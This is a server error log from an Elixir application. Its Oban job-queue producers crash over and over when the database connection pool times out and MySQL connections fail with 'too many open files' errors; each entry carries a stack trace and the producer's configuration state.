[Sat Sep  5 23:09:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 820ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:09:21.253082Z], limit: 3, uuid: "3c40a7a6-9ae3-4e8d-b9aa-bc49188d22eb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:21.253088Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.238790>, refresh_timer: #Reference<0.2525715032.1068236804.255180>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:09:21.247779Z], limit: 20, uuid: "f497edd3-411a-4991-8189-e76ec9b540bd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:21.247788Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.108878>, refresh_timer: #Reference<0.2525715032.1121189889.108861>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:33.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 813ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:09:21.248749Z], limit: 5, uuid: "33a5c1f6-9b01-47ba-ab12-3e933574ac82", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:21.248755Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.108881>, refresh_timer: #Reference<0.2525715032.1099431938.6794>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1034ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:09:21.252421Z], limit: 50, uuid: "952399dc-08d9-40c4-864c-9b8e5a666d54", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:21.252429Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.108880>, refresh_timer: #Reference<0.2525715032.1121189889.108877>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 867ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:09:21.243928Z], limit: 5, uuid: "3d5b0b9b-73b7-407c-b01c-fc816e8d7808", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:21.243940Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.108879>, refresh_timer: #Reference<0.2525715032.1121189889.108841>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:33.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 821ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:09:21.246959Z], limit: 10, uuid: "2ac47f55-34b0-46ec-bd72-2a0a990867a0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:21.246970Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.238789>, refresh_timer: #Reference<0.2525715032.1068236804.255168>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:35.411000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:39.591000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:40.175000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:41.328000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:41.351000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:43.524000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:46.118000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:46.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1852ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:09:33.242585Z], limit: 50, uuid: "c2b5c519-e848-4215-8d58-cdc3bd4404d7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:33.242590Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.109071>, refresh_timer: #Reference<0.2525715032.1121189889.109033>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:46.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1898ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:09:33.242243Z], limit: 3, uuid: "a7498c5c-81ac-4126-b0f4-fe829b168d39", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:33.242249Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.109072>, refresh_timer: #Reference<0.2525715032.1121189889.109035>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:46.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2073ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
